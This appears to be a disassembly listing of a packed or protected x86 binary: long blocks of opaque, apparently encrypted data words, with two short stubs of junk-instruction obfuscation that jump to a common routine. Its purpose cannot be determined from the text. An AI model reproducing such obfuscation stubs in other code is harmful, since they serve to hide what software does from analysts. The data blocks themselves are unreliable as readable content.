dd 0BE3416C9h, 7BD2F421h, 1C0B664Ch, 71FDAEE1h, 0A48A27D4h
dd 7B953968h, 1AEAAC5Ah, 7EF416C9h, 6F70D6E1h, 2A04A717h
dd 0C48EBCEFh, 0CDFB2E68h, 8B396603h, 1C321CCEh, 0FA3711C8h
dd 0A3D39DCBh, 132014E3h, 0E51375EBh, 2014754Dh, 94E18213h
dd 26D94917h, 45815B45h, 0E724E816h, 5EC08AB8h, 13EA0C1h
dd 6F660000h, 50FEA11Dh, 16C91A06h, 4E6F1288h, 0C91ADEA0h
dd 0CD6AE016h, 0E4175115h, 0FC2B6741h, 0C06704CEh, 5588C292h
dd 62A17BB1h, 0D6E29A37h, 0A41A6Fh, 5A7BD301h, 0C91AEAACh
dd 0E17EF416h, 0CFCB4E02h, 386243h, 6F280000h, 7B00A41Ah
dd 0C91A89CDh, 0FC9F1516h, 8AFDA3CDh, 6E0BF66Dh, 7B597B40h
dd 0BB076A4Ch, 0A23F615Dh, 1D5780BCh, 9DE488EAh, 0F0235E38h
dd 2D5BF8C2h, 1BCAh, 1A6F0A00h, 0CD7B00A4h, 16C91A89h
dd 7B04A80Ch, 60A17B59h, 7AB69C39h, 379DA74Bh, 6DA71D6Fh
dd 1435D83Ah, 34D1FC3Ah, 0C91A387Ah, 0A38AE16h, 0A0DF0C46h
dd 96701375h, 0E9902D58h, 0A9ED9BBCh, 3516C91Ah, 0C2F422BFh
dd 0F0B15588h, 0AA1A6FE4h, 46103E6Dh, 0D40140E4h, 9E4CC0FAh
dd 16C91AD8h, 0E00E70E6h, 0C94B7916h, 43CFCB17h, 0D904431Dh
dd 1C1B3Ch, 6FE10000h, 7B00A41Ah, 0C91A89CDh, 0FB9F1516h
dd 86C2597Bh, 379DB357h, 29CAh, 1A6F0A00h, 0A17B00A4h
dd 6C993665h, 0C91AF8BEh, 0A4E1BB16h, 89EDD875h, 7B597BE5h
dd 936BB24Ch, 6F0C074Eh, 7A1E4D89h, 0D8CA379Dh, 0A000000h
dd 0FEA11D6Fh, 0C91A0650h, 0A90E3D16h, 180600CCh, 2E619Ch
dd 8331D436h, 16C944C3h, 0D6B855CBh, 346E3260h, 222F5E01h
dd 0AE1789EAh, 0FE608FCBh, 0C28CBA61h, 7BB15588h, 0A3863A1h
dd 0DFEBA340h, 0A41A6Fh, 17C9D301h, 2943CFCBh, 3Fh, 0A41A6FEFh
dd 7AEA2701h, 0C91A8ACCh, 3C9E1416h, 0CD7B719Fh, 16C91A89h
dd 68FA9BCAh, 349B0649h, 9B3FB597h, 8B395A7Bh, 16C91ACBh
dd 0B6392CFh, 0C2CAF895h, 9DB35786h, 49CA37h, 7B0A0000h
dd 3BB7EA4Ch, 4EAA19E8h, 0ECB6E40Fh, 51C1164Fh, 0E184E615h
dd 0FD9ACD07h, 89CD7BCFh, 0C16C91Ah, 4C7B04A8h, 0A1F33312h
dd 5E209455h, 5CE033E4h, 8CF3B361h, 85FB16C9h, 37598623h
dd 0B35786C2h, 3366A17Bh, 0C2258B96h, 0D8B25588h, 736739Ch
dd 10AD77A5h, 7E2C4D58h, 16C91A38h, 0E91C56C6h, 0F28FF1BBh
dd 85A2CD0Ch, 432659Fh, 0C91A286Ch, 4271AE16h, 0E80F5014h
dd 294CE9BAh, 0F382F975h, 274477B1h, 0A6D40741h, 5782C19Bh
dd 9EC25F29h, 403574E2h, 0D609431Dh, 5B41DEA8h, 0FA709F21h
dd 21D579DBh, 0F052B4E7h, 8FCCA6D3h, 0C5683260h, 0C9555717h
dd 44E15716h, 0A043B30Bh, 3253A9F2h, 14B72D1Ch, 5B0145F3h
dd 178D1320h, 182AC27Ah, 5F13205Bh, 2CF4B7BEh, 44452696h
dd 1Ch, 5588C20Ah, 6D9CD8B2h, 3E8018D0h, 9C16C91Ah, 1A545025h
dd 517FB2EDh, 0DA082587h, 275588C2h, 0A548B810h, 3339BBF7h
dd 12B52B1Ch, 9DCBFE38h, 568F36D3h, 3D43FFEh, 0A20AF877h
dd 0AAEF9D40h, 0E119DC30h, 384C12C0h, 0DC5216CEh, 0B9E75D3Fh
dd 0CE382121h, 0C0B55616h, 0C8F525EBh, 383B40h, 6F010000h
dd 50FEA11Dh, 16C91A1Eh, 66872AA0h, 0C91AF6B8h, 0E582F816h
dd 72A1DEB8h, 89B8F5CFh, 4DF4915Bh, 711FF120h, 3104982Eh
dd 5B0CB70Eh, 2FCC8C8Eh, 4151h, 1D6F9100h, 250FEA1h, 5916C91Ah
dd 594BC82Ah, 0F89546C7h, 0CEFDA016h, 943DD1ECh, 0DD182E4h
dd 56EDFCC3h, 0BE512AFh, 0EEB05ECEh, 0F016C9C8h, 9B75187Ah
dd 0E6FF2D60h, 4657BBC6h, 5A20460h, 65CA305Eh, 0A000001h
dd 2A5196Fh, 695C9AD3h, 0CA958CBh, 0C2E4F0DEh, 7BB15588h
dd 1AEAAC5Ah, 7EF416C9h, 0C90C3AE1h, 43CFCB17h, 0D807431Dh
dd 7DA8E6AAh, 385D7E1Bh, 23000000h, 2A5196Fh, 1A7333E1h
dd 57B16C9h, 0A44168A9h, 805A7B76h, 0DEE91742h, 0C91A6E30h
dd 98FA7016h, 1A7D41FBh, 0B8116C9h, 0C2597B67h, 9DB25685h
dd 47CA37h, 6F0A0000h, 426DAB19h, 44E84A14h, 0EAAC5A7Bh
dd 0F416C91Ah, 6B4E17Eh, 16C91A40h, 7B3DE145h, 0E142B5Ah
dd 0D54037B7h, 0E2103B79h, 0C24D7B18h, 0B11D5C85h, 0C91A4303h
dd 73D54B16h, 76197B45h, 2E619Ch, 9D6B9936h, 688C237h
dd 0E58E2E3Fh, 8D319393h, 0A17BE4F0h, 639C3960h, 345F9E0Eh
dd 5A7B2ED2h, 0C91AEAACh, 0DB7EF416h, 0C91A692Dh, 62FF7516h
dd 17C98DBBh, 2943CFCBh, 36h, 0A41A6FEFh, 89CD7B00h, 1516C91Ah
dd 0A17BFB9Fh, 6D9A3762h, 5786C24Bh, 7B379DB3h, 0F1751C4Ch
dd 0FAC44EEh, 3D31h, 59987200h, 6A69E3DFh, 4DAF44C1h, 1A6F82B0h
dd 0CD7B00A4h, 16C91A89h, 2B05A80Ch, 0CA94C2EDh, 5A7BFF2Dh
dd 0E8164180h, 5685C21Eh, 86C28BB9h, 0E593B457h, 16C91AA1h
dd 0EC1AB72Dh, 83C2379Dh, 0A1DBB558h, 8119D16Eh, 16C91A40h
dd 5C482DA0h, 0A7D5F21Dh, 0B55883C2h, 0B9636086h, 0FD9A68FCh
dd 0C8428145h, 92FB7DEh, 6391F300h, 43611473h, 2BCD904h
dd 16C91A2Eh, 28FBBB69h, 8D0316C9h, 5C48E9DCh, 0EB4DFD0Fh
dd 0CFE9CB96h, 0FE5EE740h, 0EEADFFFFh, 16C91AD4h, 0C91AE85Ah
dd 1A034616h, 93AF16C9h, 1B16C91Ah, 16C91A27h, 0C91ABB87h
dd 0AC1C7456h, 0CF035B09h, 158BDC2Fh, 0C502DCE7h, 19E6896h
dd 5D0070C8h, 0D9E0EEAFh, 497AF0D9h, 0AF72A239h, 91D8948Ch
dd 14000002h, 0AA90ADD4h, 3C223F6Eh, 0CDB3D0FFh, 5C425F92h
dd 0D2D6F31Eh, 416CAA10h, 0D6FD3E24h, 6994D3B9h, 0F92C664Ch
dd 802E0FDCh, 1327723Eh, 0C28967C0h, 10275588h, 0F7A548B8h
dd 1C3339BFh, 7FACC93Fh, 7BEEB05Eh, 0ADEC1327h, 328A5482h
dd 5D651FBCh, 5E13277Bh, 0EE1C4384h, 0F64E8724h, 8535E386h
dd 0D119DD5Bh, 0A4DEB85Bh
dd 346E5471h, 7F3BD301h, 2016C91Bh, 0DBB558C8h, 0A3D06DA0h
dd 3338A1F5h, 14B72D1Ch, 0B0CD003Ah, 2F5D90CAh, 0AD50C018h
dd 0DD59B3FFh, 0D20EE819h, 0AE2406A3h, 5A9B7580h, 9E3B0533h
dd 0FA9D0D65h, 333BF24Ch, 23C63C1Ch, 7B125402h, 2C9C1327h
dd 0C993C1F0h, 7C9DCA67h, 93766A2h, 82BCA23Fh, 0D605324Fh
dd 268D0EBCh, 0A1E593BAh, 2D1327ECh, 0B8F955B7h, 0FC996391h
dd 7BA9DC16h, 27C6DFE3h, 878D013h, 0D5FFB765h, 89FF19DDh
dd 3BEC445Bh, 0C997C98Dh, 0FD5FD516h, 7EE7AC5Ah, 89FF1C31h
dd 8BEC5658h, 0E9A59D69h, 17Ch, 7B98BFFFh, 0D2A5995h, 9EBBEA27h
dd 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh, 0E0210724h, 77B69CB9h
dd 0F492F4Ch, 11F2BFDCh, 27732363h, 7452AB13h, 0EAAC5A7Bh
dd 0F416C91Ah, 0FD1BC2Fh, 96F8B542h, 0FE68C0F9h, 913496BDh
dd 18FCC270h, 3D0216C9h, 9FE4B4Fh, 902D8FEFh, 10F9B563h
dd 8F051C33h, 33F24A61h, 7409E7BAh, 1DC022B7h, 0ABD90443h
dd 691744E1h, 19DF0D64h, 274374EAh, 966F6DB9h, 0F6E29Eh
dd 39790000h, 0D30FF512h, 64A187A4h, 0F7321835h, 83C1A7C4h
dd 0AB373B58h, 89A6D10Fh, 1E3B62A3h, 0B1CEF938h, 415E91CBh
dd 0A1E59374h, 2D132770h, 5A7BF6D4h, 0C91AEAACh, 4584F416h
dd 0C022EC1Ah, 2292EA23h, 0EEB05E7Fh, 0F016C91Ah, 0B6DD1E7Ah
dd 0F1CBEC19h, 31EB88B3h, 1C33397Dh, 8E680B81h, 0D0882550h
dd 829FD20Ch, 12F629Ch, 7F2292EAh, 0DD5B79D1h, 2A47BD19h
dd 0BCD90844h, 4D6A99D6h, 0DCF92C67h, 708DB8F6h, 0A482243h
dd 1BEFAFDFh, 79EF16C9h, 8DB8F6DCh, 48224370h, 0EFAFDF0Ah
dd 0EF16C91Bh, 0B5F6DC79h, 0D611EB8Eh, 0EAB75A3h, 17428167h
dd 0A7DA14FAh, 0ED63A48Ah, 20BA3893h, 3DDA1ACh, 3F2916Ch
dd 0DD0445A1h, 0CD255E7Bh, 0A6E0BA5Dh, 0FBA9D673h, 1C330F4Fh
dd 1FE31187h, 0EE0FB2E5h, 274F7E40h, 11407C13h, 0FFA643B9h
dd 321h, 33A16100h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh
dd 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h
dd 4EC8386h, 56242489h, 4BEh, 24740100h, 48685E04h, 8900001Ah
db 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push ebx
mov ebx, 1DE50328h
and ebx, 53C61CA7h
not ebx
add ebx, 48B558FCh
neg ebx
add ebx, 3CDFBA1Bh
push ebx
add dword ptr [esp], 3367D43h
pop edi
sub edi, 3367D43h
pop ebx
push esp
mov esi, [esp]
add esp, 4
push edi
push edx
mov edx, 312D05DDh
sub [esp+4], edx
pop edx
pop dword ptr [esi+8]
add dword ptr [esi+8], 312D05DDh
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5461C3
; ---------------------------------------------------------------------------
db 3Eh
dd 7DE923F2h, 0DC7047C1h, 64B8F221h, 305EE6Bh, 0EBC38BC5h
dd 8EC2A904h, 523E919h, 59990000h, 0F32F1532h, 84C1A7C4h
dd 17523855h, 0A3E1C7E4h, 8B575B78h, 0A9C6F12Fh, 3E5B82C3h
dd 0D1EE1958h, 617EB1EBh, 4105B394h, 4D132776h, 88C216F4h
dd 25632755h, 0BDF7DDFAh, 7B8E78Ah, 3DBFB6C4h, 98C3015Dh
dd 5E3843FBh, 90BFFC1Dh, 8369862h, 42F38D3Eh, 0DF90B15Ah
dd 0F5225C42h, 235691B6h, 18C92BF5h, 0D33C43C1h, 315FC123h
dd 0CA08316Dh, 0FEEEB05Eh, 7AF016C9h, 0BE20EA18h, 38678290h
dd 0DB15E60Dh, 0FFB07AA8h, 1BB8F0E2h, 0F4CE8FE6h, 3E986B9h
dd 937996C9h, 260C2954h, 838EBCE7h, 39E4C454h, 912ED560h
dd 0C496AABh, 83E5AFDDh, 0E1027155h, 0C9787333h, 68057B16h
dd 23624233h, 0BBF5DBF8h, 0B28F1339h, 97F9381Bh, 68F0D169h
dd 2F4616C9h, 681E600Eh, 2AA016C9h, 8E1D588Dh, 40CFA5C2h
dd 0B2DEh, 88C2A400h, 0CD8F2755h, 0D116C91Ah, 73376594h
dd 0CDD80639h, 0C91A5F1Fh, 6DE95F16h, 0F71F7FF6h, 0F8F4B1E0h
dd 8E6BEC43h, 0DF793DEBh, 0F8516C9h, 73383D72h, 40CF12ADh
dd 749FDDB7h, 1B6D7h, 7B7C0000h, 1AEAAC5Ah, 5F9B16C9h
dd 0FFBEAE2Fh, 0F390065Eh, 74A2D10Dh, 174574B0h, 75A41853h
db 0ECh, 0BEh
word_594F42 dw 0B55Bh ; DATA XREF: ___:off_438100o
dd 0F7B7E739h, 0F716C9ECh, 0A27C1F81h, 3E083665h, 0C0DBE9A1h
dd 4AF4709Fh, 40161259h, 0C9054E10h, 3DDA5016h, 0FB376D08h
dd 114F29CCh, 9D372E97h, 0AB0D2C4Fh, 6F16B37Dh, 52002142h
dd 16C9720Ch, 0AAEC1C92h, 3416C972h, 13B21BEh, 7B83B1CEh
dd 9A3762A1h, 155176B4h, 5280AFECh, 2EF82688h, 1A99DD8Bh
dd 0AF2516C9h, 0E5141F4Dh, 193D2EEEh, 7C62FF98h, 0AFD61740h
dd 6614B781h, 16C98B20h, 0A8D638AEh, 881C59B8h, 4D7C1F4Ah
dd 0AA89C3A2h, 4AB4854h, 83B1E41Eh, 31649E78h, 4271AE94h
dd 0E2155014h, 8DB2F0B4h, 95C3254Ch, 8098CD7Ch, 80FC14A0h
dd 0CB326C09h, 0A0604B2Ah, 0B440CF0Ah, 0DE088F85h, 0DA189B4Ah
dd 55B781AFh, 5097B8h, 7B5D0000h, 9A3762A1h, 1D4B76B4h
dd 0BFED1C59h, 0BDE78EB1h, 0A37547Fh, 94C2F530h, 9472DCAh
dd 0B1ECB0DEh, 0C601DB7Eh, 0FE9B6593h, 9FD67746h, 0CFD5540Ch
dd 2F6C40h, 7B320000h, 0B3960A1h, 80BEA441h, 24632755h
dd 453CBF9h, 0CAF53371h, 86C27FADh, 0B0912957h, 616C91Ah
dd 731D8EE7h, 6D40CFD7h, 1, 5685C233h, 0F72A6428h, 76EE5C9h
dd 1431609Dh, 701383DBh, 31F521C2h, 6401A1Ch, 8F5436D3h
dd 0A3B9B552h, 0E10F713Fh, 93B0E31Dh, 124073ADh, 20E3367Ah
dd 9CBD0413h, 20E3A8EEh, 23C03613h, 0B5D687EEh, 20E34707h
dd 34D14713h, 0C4E1144Eh, 0CE71A4DEh, 0ABD3209Fh, 811E897Ch
dd 98CB05C9h, 6026D4F5h, 23132071h, 20713175h, 0EF47BD13h
dd 3424DC79h, 0CA04A0D5h, 0F59B7A97h, 0EB4526BCh, 127h
dd 6E99D8B2h, 176FA3D1h, 0FD5604A7h, 291C3209h, 87C185B3h
dd 17513754h, 0D1ABB6E4h, 0C8076396h, 0E01A009Dh, 308F7FADh
dd 0F2255F45h, 0E62AF6D5h, 66464526h, 0C000000h, 3A6186Fh
dd 0C919C155h, 0CFD30216h, 0F693E07h, 3AB0922Fh, 0D232740Ch
dd 0EAB16C9h, 0D293EA67h, 3B76CFD0h, 5F10DA08h, 558FF6D3h
dd 0BB5EC022h, 0D774A7E1h, 0BA6889AAh, 16C958F4h, 31D384FAh
dd 2F010407h, 0DA4C06A3h, 6416C9F0h, 9CF3D1EEh, 34000000h
dd 57DFF205h, 0C943E5A9h, 0C273E916h, 77144B74h, 0A7176F49h
dd 1E555604h, 6BE11C32h, 0CB3F793Dh, 5484B7F1h, 13201612h
dd 0A7C4269Ch, 205A87C1h, 93F5BFEDh, 1636CD65h, 75C41320h
dd 376AA400h, 507BBA94h, 5C8AB5F4h, 154EF592h, 89AA4DBDh
dd 19476EAFh, 0BFED1455h, 0FA3793F5h, 36D39DCBh, 0DA32667Ch
dd 872AA019h, 134170ADh, 30F4AC49h, 0B195C3F6h, 0BE163B3Ah
dd 7A1F5F0Dh, 299F16CEh, 0D40324C7h, 46677796h, 0CD8724DAh
dd 1C346BD5h, 9FD20CE6h, 280AA771h, 6F6795B2h, 5604A717h
dd 1C333E4Ch, 521644BAh, 0E2C8E518h, 0AF4775A8h, 746EBD7h
dd 7AA8D713h, 1F4D78B6h, 1787EE11h, 36274E71h, 0C5276715h
dd 31A70F47h, 0B1F29C80h, 801D387Fh, 0F833609Ah, 604663C5h
dd 1C5F326h, 816593C6h, 0FF396B0Ah, 8FC9AFCCh, 3722E5Ch
dd 0B2000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h
dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
dd 68864775h, 3F53h, 56240C89h, 0C681E689h, 4, 4EE81h
dd 34870000h, 14895C24h, 24356824h, 34890000h, 29BD5524h
dd 5705EE6Ch, 0FA89EF89h, 0EC835D5Fh, 24248904h, 4240481h
dd 5E000000h, 796168h, 24048900h, 4689D089h, 34FF5808h
dd 0C4815E24h, 4, 5A2434FFh, 0E904C483h, 0FFFB0EB7h, 3F2308FCh
dd 9EBC5CC7h, 0C6B7EA59h, 70DAB8B3h, 0C50305EEh, 909CE0FFh
dd 0A429637Fh, 2A3E4D0Ch, 6A59069Eh, 6ECA29FDh, 94C34D3Dh
dd 218310BFh, 0FED6B3Ch, 8E6E78C9h, 0C80B76E9h, 0E69C3CCBh
dd 0E66B1D43h, 0E57F7A2Dh, 0A2F41DB6h, 8C1976E1h, 0FB1F35A0h
dd 0BF895C1Bh, 343E4Fh, 1C495229h, 5E2A2023h, 661109A8h
dd 0D61A0749h, 0E8AF70A1h, 7D9B0FEDh, 0FDD70C40h, 0DC826417h
dd 126D6FE8h, 86E648C9h, 6F4456ADh, 0EF6A2019h, 12257C54h
dd 7AF20BC7h, 10E82321h, 0E9000000h, 61C65535h, 0DC97241Dh
dd 7ED5C25Eh, 5A925A45h, 6830F57h, 0F000000h, 8Eh, 0C2815F00h
dd 6584h, 2BDEBF0Fh, 5820FC0h, 66000000h, 6D9EE381h, 661034FFh
dd 77A9DB81h, 0FE859h, 9B3D0000h, 0F948318Dh, 0A14FA3A2h
dd 63C3EA2Dh, 4BE9BBA1h, 815F55FCh, 64C36CE9h, 814CB374h
dd 0AAA57E9h, 81D88B48h, 50914FE9h, 0B9BB6672h, 0EF815133h
dd 781E67A8h, 0FC02048Fh, 81F38B66h, 230EA4E8h, 68A0F04h
dd 81000000h, 0D5C3B1D7h, 0A0C0812Dh, 0F04230Eh, 0B8Eh
dd 5890F00h, 0BB000000h, 3F310DF5h, 9B30F881h, 850FFFFFh
dd 0FFFFFF80h, 8DDFBF0Fh, 0EE73668Dh, 0F6BF6605h, 558D89ECh
dd 6A05E926h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 6A2BC356h, 66AA8282h, 20A8C281h
dd 80585C7h, 6A5805E9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 794905C3h, 8B9DED40h
dd 0E93295BDh, 1DB58B05h, 0C705E923h, 0E9163D85h, 5, 6E900h
dd 0D9290000h, 0C59E90CDh, 4BDB5FFh, 6A05E9h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B069AC3h
dd 0C595FFF1h, 6A05E90Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0A310C350h, 0E6733075h
dd 95FF006Ah, 5E91E95h, 69EBC08Bh, 0E20F9619h, 0DF9E0A10h
dd 72709DEAh, 9433ED66h, 4B423A86h, 0CCF9BAB9h, 8A155062h
dd 19D1BE30h, 67FCFA12h, 0B614C5D6h, 0CC96C448h, 0FCB21931h
dd 7D6A2CFFh, 96771284h, 0C549D92Dh, 5632F19Dh, 46E4A40Bh
dd 3D147A63h, 0FCD705E5h, 98E20752h, 1027F571h, 9158C319h
dd 2EF6FD4Ah, 5D2AC86h, 723EA09Eh, 34179374h, 0E804EB0Fh
dd 0E92C54EFh, 530h, 5F7CA3E3h, 0F10E3D79h, 829FCE0Bh
dd 112E619Ch, 0A5C2ED2Bh, 3B7941A1h, 0CC0DF310h, 63A288A5h
dd 0FB351B38h, 0FDDEABC8h, 27690F4Fh, 58368F13h, 0B25588C2h
dd 1AA3E391h, 0B52B16C9h, 5E9C6018h, 0FE91633h, 396CA7D4h
dd 0B1DF410Bh, 2A644AE7h, 182554F7h, 391FAF60h, 9DA860FDh
dd 275588C3h, 0A0DAC05Dh, 3F7B3F6Dh, 49ABDA16h, 8BEA0D1Bh
dd 0DC0A3D2h, 86D5C453h, 22BFEE2Ah, 2CCF023Ch, 79195D0Bh
dd 0E0A516C9h, 0F044DDC9h, 95329476h, 9EC908EEh, 0BBE421FBh
dd 0BFED4F7Eh, 0CBB158F5h, 6F33618Ch, 0F5D9072Eh, 8C66F77Eh
dd 9E842150h, 0CFFE3A5Fh, 5875D7A1h, 0E514512Bh, 5491EDB7h
dd 68A28825h, 0E74F56E6h, 0DF90EFEAh, 7738FCD5h, 85B3154Dh
dd 0EBAB597Ah, 0F316C9FCh, 1D26E07Dh, 9916C9FCh, 4162FB7Ah
dd 0C9FCD393h, 0C865DB16h, 0CF3127E9h, 613940h, 0C2FF0000h
dd 8F275588h, 16C91ACDh, 376594D1h, 0DB093473h, 43611463h
dd 4E76D807h, 0F51C5D37h, 2B60FDC7h, 0D7BF614Ah, 1B140CFh
dd 77000000h, 295786C2h, 57FA2965h, 7411407Dh, 3BBDF8BCh
dd 4E7918CAh, 0BCEA4C7Dh, 618FBAF8h, 0D531609Dh, 5539679Ah
dd 610797DEh, 316D373Eh, 0C5FFE502h, 0C2477592h, 672B5984h
dd 0ACEFC2Bh, 0AC709ECDh, 0ADE7436Eh, 1B3E4C7Ah, 5DBC445Ah
dd 234E8C18h, 0B3E62006h, 5584C185h, 0BEB75827h, 0CFD533EDh
dd 754D40h, 0C2130000h, 672B5984h, 9114AC2Ah
dd 0C7D6C9B9h, 0FE8C8F16h, 0BF21F97Bh, 15608391h, 926518Fh
dd 8FC8ADDCh, 0A060AD5Fh, 0F3FB6492h, 0A23FA163h, 25537EBCh
dd 0C5F32661h, 48835DF6h, 32437815h, 0CF10C779h, 5DD940h
dd 71A00000h, 988DF1BEh, 73A13ED8h, 235F84C2h, 0A06492F4h
dd 64F2E761h, 4B332D49h, 0F443BBE9h, 0BAE52381h, 5741709Dh
dd 3976A6B9h, 7B4B7916h, 1AEAAC5Ah, 84F416C9h, 58B41649h
dd 0F5BFED1Ch, 7367258h, 1A0041D9h, 97B616C9h, 69A57FDEh
dd 0A5420C3Ah, 0CFD71AC6h, 11640h, 0C2DC0000h, 1D285685h
dd 0AAD80743h, 235D43E0h, 67DEC2F0h, 2A59960Eh, 0C7CD40Dh
dd 336E4869h, 1A4D11BFh, 0DB5116C9h, 8122DC79h, 51C31F5h
dd 639D618Fh, 4B6C8D30h, 203FD99Dh, 3F6FE513h, 13203F7Fh
dd 0B70F3E7Bh, 17FDA441h, 0E47CAADDh, 13203FA0h, 13512B72h
dd 5F164BE8h, 0BBE624FEh, 0CBFE381Eh, 68A781AEh, 3F084EFCh
dd 20961320h, 0F52862BEh, 5387258h, 0FDABCCD7h, 13203FB9h
dd 0AAD80341h, 611288E0h, 3DFC9E2Dh, 0DCC25F55h, 0BD4520A2h
dd 67766C8h, 77B276A4h, 13521644h, 5FD6BAE8h, 264D8E16h
dd 44CC2EF8h, 0DA1490E5h, 0E5AB8AA7h, 0FB452616h, 10Fh
dd 0A7176FC1h, 9FD5604h, 0B3291C32h, 5487C185h, 0E4175137h
dd 0E87CABB6h, 94985D11h, 13B21BEh, 0A6C93D4h, 5E203867h
dd 0F85F229Dh, 54B3A35Bh, 16498321h, 4E761AF9h, 845E4526h
dd 23ED1B46h, 336586h, 6F2B0000h, 5503A618h, 16C919C1h
dd 11A9D74Dh, 16C91A4Dh, 92D1AB40h, 0E095CA67h, 5A81A71h
dd 90BEF12Bh, 4EFC29C6h, 16C919D8h, 0F5D3F066h, 97h, 0AD176F35h
dd 49134170h, 2183AEEDh, 8E3C5D7Eh, 16C91AC8h, 9C360D6h
dd 1C321E00h, 6772A016h, 0F11F528Dh, 6AA48A27h, 0FA341A37h
dd 20199C7h, 90132016h, 0ECB51A49h, 5183B314h, 67F67FB4h
dd 90AF3D38h, 0FE9B0DE1h, 70B1DE18h, 0A0511B49h, 4A152AB8h
dd 91AE1086h, 76173564h, 435FA5A6h, 0A5156DA6h, 0C607E102h
dd 0AA7719Fh, 0DADE5850h, 83BD9719h, 5BD1B350h, 0FC2F692Dh
dd 273EACEh, 0E487F74Fh, 34AD2636h, 13B62C1Ch, 830244F2h
dd 168C1320h, 6FA4D279h, 2A04A717h, 0F320BDF0h, 4303B1D2h
dd 4B16C91Ah, 6E7E38D5h, 0F41C3347h, 0CBADB7Eh, 1327694Ah
dd 8941DE54h, 3B588BC5h, 0B8AFDF0Eh, 6DB8FEACh, 0D0461327h
dd 5B90811Fh, 6B9ED8BEh, 3C6DA53Dh, 82B3590h, 0CAFD376Dh
dd 0EA0F4D27h, 0F01E80ABh, 618CCA26h, 0FD371DC4h, 9DD89CCAh
dd 0E9583C6Ah, 0B5F9A7C8h, 393A9D14h, 14D393C3h, 65DB3A9Dh
dd 0C2E293C8h, 52385588h, 0FBB7E518h, 8, 60A17B3Bh, 27959C39h
dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh, 0BDEB1654h
dd 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h, 0E7895786h
dd 4B951h, 0CF010000h, 4EF8359h, 5C243C87h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
sub esp, 4
mov [esp], edi
push 5ADCh
mov [esp], edx
mov edx, 5EE73DFh
mov eax, edx
pop edx
push 27F3h
mov [esp], esp
add dword ptr [esp], 4
pop edi
push 5C3Ch
mov [esp], eax
pop dword ptr [edi+8]
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5461C3
; ---------------------------------------------------------------------------
db 62h
dd 4D2BC984h, 8C478D29h, 3B71A669h, 0EE7888B8h, 0FFC50305h
dd 534AB2E0h, 0A44F4012h, 3055AC6Eh, 0D3B90465h, 57F4314Ah
dd 508DA10Fh, 0D4037F0Ah, 483C6A73h, 53D9EE57h, 0E7FBB867h
dd 0B898F97Dh, 9536B247h, 0A939C04h, 0B8CD403Ch, 810FF637h
dd 0A500B5Ah, 0E27E0421h, 1423E61Eh, 9E260D6Fh, 0CEDD9D41h
dd 0F3B9494Ah, 2B156139h, 3302BE03h, 84239004h, 568D8D07h
dd 6A05EE7Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 3CCDC355h, 8D89C18Bh, 5E92655h
dd 68D0Fh, 0E6810000h, 34B9F865h, 80585C7h, 6F3005E9h
dd 0BD8B0000h, 5E908E5h, 163D85C7h, 5E9h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 27AA16C3h, 0DC79FDDFh, 0DB810058h, 7E085478h, 30EDB5FFh
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 1F9CFFC3h, 8529B012h, 5E91EF1h, 0BC595FFh
dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0FF6556C3h, 0E94A85DFh, 8D2907D6h, 5E92245h
dd 95FF006Ah, 5E91E95h, 6CEBC08Bh, 2BC0A5CEh, 989E6DCAh
dd 0EB07C13Dh, 0D0A6960Eh, 1E9AF98h, 0B80DE3C1h, 0DD9CC50Eh
dd 0D5FC907Bh, 1CC3BD48h, 6096B030h, 22FCC79Fh, 77203B9h
dd 0A0FDA4C2h, 45B05527h, 599F121Ch, 0FAF9B079h, 22487491h
dd 5A03A10Dh, 61393360h, 0CFA3228Eh, 5F69075Fh, 3ED0DCF1h
dd 44BC02A2h, 87A78BD8h, 0BAC08EAFh, 846B33AAh, 0ABA67370h
dd 7E8h, 70DC9100h, 0B8A5B69Bh, 3850Fh, 0BF0F0000h, 0BD295EFBh
dd 5E92BD9h, 6E71C681h, 870F0000h, 3, 0BAC38B66h, 6B8D4ADCh
dd 2F78EA81h, 0BD8B6B8Dh, 5E92FDDh, 8B6636FFh, 7E859C1h
dd 0A000000h, 7775E848h, 852B9353h, 5E9020Dh, 3DE98158h
dd 892EFBC5h, 0E900059Dh, 0DCE98105h, 0F6BA40Ch, 882h
dd 2840F00h, 8A000000h, 7CC181C6h, 896A8431h, 0E931D195h
dd 0E90E8905h, 0Fh, 6FC7A872h, 6DBD9A76h, 811DAC47h, 81AFDBFFh
dd 818C05EEh, 10E916h, 0D7540000h, 334F45B5h, 37861B7Eh
dd 0BC8AC945h, 0C681CC8Ch, 16818C01h, 0CC0FB866h, 1EA81h
dd 850F0000h, 0Dh, 1CE9F8h, 0E1EC0000h, 0E517CA55h, 48D0F97h
